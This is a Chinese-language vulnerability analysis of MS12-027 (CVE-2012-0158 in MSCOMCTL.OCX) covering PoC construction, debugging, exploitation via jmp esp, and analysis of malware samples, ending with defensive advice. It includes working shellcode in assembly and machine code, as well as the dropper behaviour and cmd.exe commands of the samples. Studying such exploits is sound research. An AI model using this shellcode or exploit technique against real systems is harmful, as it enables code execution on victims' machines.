MS12-027及利用样本分析
字数 2620 2025-08-05 11:39:35

MS12-027漏洞分析与利用技术详解

0x00 漏洞概述

MS12-027是Microsoft在2012年4月修补的一个安全漏洞,涉及MSCOMCTL.OCX控件中的多个缓冲区溢出漏洞。该漏洞影响Microsoft Office系列软件,特别是通过ListView控件触发漏洞。本文详细分析该漏洞的成因、利用方法以及实际样本分析。

受影响环境

  • 操作系统: Windows 7 Service Pack 1 x86
  • Office版本: Professional 2007
  • MSCOMCTL.OCX版本: 6.01.9545

漏洞类型

MSCOMCTL.OCX中存在两处缓冲区溢出(栈溢出)漏洞:

  1. CVE-2012-0158
  2. 另一处无CVE编号的漏洞

0x01 CVE-2012-0158漏洞分析

0x01.1 漏洞成因

MSCOMCTL.OCX中CObj::Load函数对输入数据校验不严,第二次调用ReadBytesFromStreamPadded()时会造成溢出,导致执行流被劫持。

0x01.2 漏洞详细分析

POC构造方法

  1. 在Excel中创建ListView控件并添加ListItem子对象
  2. 使用VBA代码添加对象并编译生成对象
  3. 编译后删除相应代码并保存文件
  4. 使用WinHex修改CObj类的十六进制值使其大于8
  5. 再次打开Excel触发漏洞

关键VBA代码:

Dim L1 As ListItem
Dim key1 As String
Dim i As Integer
i = 0
key1 = "key1"
While (i < 20)
    key1 = key1 + key1
    i = i + 1
Wend
Set L1 = ListView1.ListItems.Add(1, key1 + "1", "test1", 0, 0)
Set L2 = ListView1.ListItems.Add(2, key1 + "2", "test2", 0, 0)
Set L3 = ListView1.ListItems.Add(3, key1 + "3", "test3", 0, 0)

调试分析

  1. 使用Ollydbg附加Excel进程
  2. 关键错误位置: 0x275c8a56
  3. 返回地址被覆盖为0x65006B
  4. 关键函数0x275C8A05内部存在验证变量值的语句
  5. 实际拷贝操作在0x275c87cb处执行

绕过验证

构造POC时修改的两个数值:

  1. 读入长度
  2. 验证参数

由于两个数同时被读入,可以通过直接修改文件数据绕过验证。

0x01.3 利用思路与Shellcode编写

基本利用步骤

  1. 修改覆盖长度为更大数值
  2. 修改返回地址指向jmp esp指令
  3. 将Shellcode置于返回地址偏移0x8

Shellcode示例

  1. 硬编码版本(执行WinExec("AAAA.exe", 5)):
PUSH EBP
MOV EBP, ESP
XOR EAX, EAX
PUSH EAX
PUSH 6578652Eh    ; ".exe"
PUSH 41414141h    ; "AAAA"
MOV EAX, ESP
PUSH 5
PUSH EAX
MOV EAX, 7783e5fdh ; WinExec地址
CALL EAX
MOV ESP, EBP
POP EBP

机器码: 558BEC558BEC33C050682E65786568414141418BC46A0550B8FDE58377FFD08BE55D

  1. 动态获取版本(通过TEB查找法):
; 查找kernel32.dll基址
XOR EAX, EAX
MOV EAX, DWORD PTR FS:[0x30]    ; PEB
MOV EAX, DWORD PTR [EAX+0xC]    ; PEB_LDR_DATA
MOV ESI, DWORD PTR [EAX+0x14]   ; 不同操作系统偏移不同
lodsd
XCHG EAX, ESI
lodsd
MOV EBX, DWORD PTR [EAX+0x10]   ; 获取kernel32基址

; 获取GetProcAddress
MOV EDX, DWORD PTR [EBX+0x3C]   ; e_lfanew
MOV EDX, DWORD PTR [EBX+EDX+0x78] ; ETA
ADD EDX, EBX
MOV ESI, DWORD PTR [EDX+0x20]   ; namestable
ADD ESI, EBX
XOR ECX, ECX
GET_FUNCTION:
INC ECX
lodsd
ADD EAX, EBX
CMP DWORD PTR [EAX], 0X50746547 ; "PteG"
JNZ GET_FUNCTION
CMP DWORD PTR [EAX+0X4], 0x41636f72 ; "Acor"
JNZ GET_FUNCTION
CMP DWORD PTR [EAX+0X8], 0x65726464 ; "erdd"
JNZ GET_FUNCTION
MOV ESI, [EDX+0X24]
ADD ESI, EBX
MOV CX, WORD PTR [ESI+ECX*2]
DEC ECX
MOV ESI, DWORD PTR [EDX+0X1C]
ADD ESI, EBX
MOV EDX, DWORD PTR [ESI+ECX*4]
ADD EDX, EBX

; 调用WinExec
XOR ECX, ECX
push 0X00636578    ; "xec"
PUSH 0X456E6957    ; "WinE"
PUSH ESP
PUSH EBX
CALL EDX
XOR ECX, ECX
PUSH ECX
PUSH 0X6578652E    ; ".exe"
PUSH 0X41414141    ; "AAAA"
MOV EBX, ESP
PUSH 5
PUSH EBX
CALL EAX

机器码: 535633C064A1300000008B400C8B7014AD96AD8B58108B533C8B54137803D38B722003F333C941AD03C381384765745075F4817804726F634175EB8178086464726575E28B722403F3668B0C4E498B721C03F38B148E03D333C968786563006857696E455453FFD233C951682E6578656863616C638BDC6A0553FFD05E33C05BC3

0x01.4 实际样本分析

样本信息

  • 文件名: malware_1264.doc
  • MD5: F393FDC7F3853BC7C435C13A4962C688
  • SHA1: 48510754C8FD91E3CD5930AF7AE755D4AA2B6D29

攻击流程

  1. 触发漏洞位置: 0x275c8a56
  2. 通过jmp esp跳转至Shellcode
  3. 动态获取kernel32.dll基址和API函数地址
  4. 检查文件大小确认是否为样本文件
  5. 获取文件路径并打开文件
  6. 创建临时文件并写入解密后的PE文件
  7. 执行临时文件
  8. 清理注册表记录(Software\Microsoft\Office\10.0\Word\Resiliency\)
  9. 创建新文档并写入解密数据
  10. 拼接并执行命令: cmd.exe /c tasklist&\"C:\\Program Files\\Microsoft Office\\Office12\\WINWORD.EXE\" \"临时文件路径\"
  11. 调用TerminateProcess退出

0x02 无CVE编号漏洞分析

0x02.1 漏洞成因

MSCOMCTL.OCX中LoadMFCPropertySet函数为MultiByteStr变量分配0x148字节栈空间,复制数据时未做有效验证,可通过构造数据造成栈溢出。

0x02.2 实际样本分析

样本1信息

  • 文件名: virus.doc
  • MD5: 6845288E2BE0BE1ADBC3A3D4C6AAAA63
  • SHA-1: 83C0D54DCC948F0C91907DB8FA69CE776CBDD6B2

攻击流程

  1. 漏洞触发位置: 0x27602e9a
  2. 通过ROP+jmp esp跳转至Shellcode
  3. 解码数据并获取函数地址
  4. 加载ntdll.dll
  5. 检查文件大小(超过0x2000则移动文件指针)
  6. 分配堆内存并读入数据
  7. 遍历进程模块
  8. 解密数据生成PE文件
  9. 创建临时文件(virus.doc)并写入数据
  10. 执行命令: cmd.exe /c start WINWORD.EXE /q \"临时文件路径\"
  11. 创建隐藏文件(temp.tmp)并执行
  12. 终止进程

样本2信息

  • 文件名: 7ZzOmweGVb.doc
  • MD5: 02b8ba227266dfcefb5958f7dd2fbeaf
  • SHA-1: 5dd79bfa71118e9dec11ff65d37dfa0254e6c536

该样本利用方法与样本1相同。

0x03 防御建议

  1. 及时安装Microsoft安全更新MS12-027
  2. 禁用MSCOMCTL.OCX控件(如果业务不需要)
  3. 使用应用程序白名单限制未知程序执行
  4. 启用DEP(数据执行保护)和ASLR(地址空间布局随机化)
  5. 对Office文档启用受保护的视图
  6. 监控临时目录的可疑文件创建行为
  7. 注意注册表中Office Resiliency项的异常修改

0x04 总结

MS12-027漏洞通过精心构造的Office文档触发MSCOMCTL.OCX控件中的缓冲区溢出漏洞,攻击者可以借此执行任意代码。本文详细分析了两种不同的漏洞利用方式,并提供了实际样本的攻击流程分析,有助于安全研究人员深入理解此类漏洞的利用技术并制定相应的防御措施。

MS12-027漏洞分析与利用技术详解 0x00 漏洞概述 MS12-027是Microsoft在2012年4月修补的一个安全漏洞,涉及MSCOMCTL.OCX控件中的多个缓冲区溢出漏洞。该漏洞影响Microsoft Office系列软件,特别是通过ListView控件触发漏洞。本文详细分析该漏洞的成因、利用方法以及实际样本分析。 受影响环境 操作系统: Windows 7 Service Pack 1 x86 Office版本: Professional 2007 MSCOMCTL.OCX版本: 6.01.9545 漏洞类型 MSCOMCTL.OCX中存在两处缓冲区溢出(栈溢出)漏洞: CVE-2012-0158 另一处无CVE编号的漏洞 0x01 CVE-2012-0158漏洞分析 0x01.1 漏洞成因 MSCOMCTL.OCX中 CObj::Load 函数对输入数据校验不严,第二次调用 ReadBytesFromStreamPadded() 时会造成溢出,导致执行流被劫持。 0x01.2 漏洞详细分析 POC构造方法 在Excel中创建ListView控件并添加ListItem子对象 使用VBA代码添加对象并编译生成对象 编译后删除相应代码并保存文件 使用WinHex修改CObj类的十六进制值使其大于8 再次打开Excel触发漏洞 关键VBA代码: 调试分析 使用Ollydbg附加Excel进程 关键错误位置: 0x275c8a56 返回地址被覆盖为 0x65006B 关键函数 0x275C8A05 内部存在验证变量值的语句 实际拷贝操作在 0x275c87cb 处执行 绕过验证 构造POC时修改的两个数值: 读入长度 验证参数 由于两个数同时被读入,可以通过直接修改文件数据绕过验证。 0x01.3 利用思路与Shellcode编写 基本利用步骤 修改覆盖长度为更大数值 修改返回地址指向 jmp esp 指令 将Shellcode置于返回地址偏移 0x8 处 Shellcode示例 硬编码版本(执行 WinExec("AAAA.exe", 5) ): 机器码: 558BEC558BEC33C050682E65786568414141418BC46A0550B8FDE58377FFD08BE55D 动态获取版本(通过TEB查找法): 机器码: 535633C064A1300000008B400C8B7014AD96AD8B58108B533C8B54137803D38B722003F333C941AD03C381384765745075F4817804726F634175EB8178086464726575E28B722403F3668B0C4E498B721C03F38B148E03D333C968786563006857696E455453FFD233C951682E6578656863616C638BDC6A0553FFD05E33C05BC3 0x01.4 实际样本分析 样本信息 文件名: malware_ 1264.doc MD5: F393FDC7F3853BC7C435C13A4962C688 SHA1: 48510754C8FD91E3CD5930AF7AE755D4AA2B6D29 攻击流程 触发漏洞位置: 0x275c8a56 通过 jmp esp 跳转至Shellcode 动态获取kernel32.dll基址和API函数地址 检查文件大小确认是否为样本文件 获取文件路径并打开文件 创建临时文件并写入解密后的PE文件 执行临时文件 清理注册表记录( Software\Microsoft\Office\10.0\Word\Resiliency\ ) 创建新文档并写入解密数据 拼接并执行命令: cmd.exe /c tasklist&\"C:\\Program Files\\Microsoft Office\\Office12\\WINWORD.EXE\" \"临时文件路径\" 调用 TerminateProcess 退出 0x02 无CVE编号漏洞分析 0x02.1 漏洞成因 MSCOMCTL.OCX中 LoadMFCPropertySet 函数为 MultiByteStr 变量分配0x148字节栈空间,复制数据时未做有效验证,可通过构造数据造成栈溢出。 0x02.2 实际样本分析 样本1信息 文件名: virus.doc MD5: 6845288E2BE0BE1ADBC3A3D4C6AAAA63 SHA-1: 83C0D54DCC948F0C91907DB8FA69CE776CBDD6B2 攻击流程 漏洞触发位置: 0x27602e9a 通过ROP+ jmp esp 跳转至Shellcode 解码数据并获取函数地址 加载ntdll.dll 检查文件大小(超过0x2000则移动文件指针) 分配堆内存并读入数据 遍历进程模块 解密数据生成PE文件 创建临时文件(virus.doc)并写入数据 执行命令: cmd.exe /c start WINWORD.EXE /q \"临时文件路径\" 创建隐藏文件(temp.tmp)并执行 终止进程 样本2信息 文件名: 7ZzOmweGVb.doc MD5: 02b8ba227266dfcefb5958f7dd2fbeaf SHA-1: 5dd79bfa71118e9dec11ff65d37dfa0254e6c536 该样本利用方法与样本1相同。 0x03 防御建议 及时安装Microsoft安全更新MS12-027 禁用MSCOMCTL.OCX控件(如果业务不需要) 使用应用程序白名单限制未知程序执行 启用DEP(数据执行保护)和ASLR(地址空间布局随机化) 对Office文档启用受保护的视图 监控临时目录的可疑文件创建行为 注意注册表中Office Resiliency项的异常修改 0x04 总结 MS12-027漏洞通过精心构造的Office文档触发MSCOMCTL.OCX控件中的缓冲区溢出漏洞,攻击者可以借此执行任意代码。本文详细分析了两种不同的漏洞利用方式,并提供了实际样本的攻击流程分析,有助于安全研究人员深入理解此类漏洞的利用技术并制定相应的防御措施。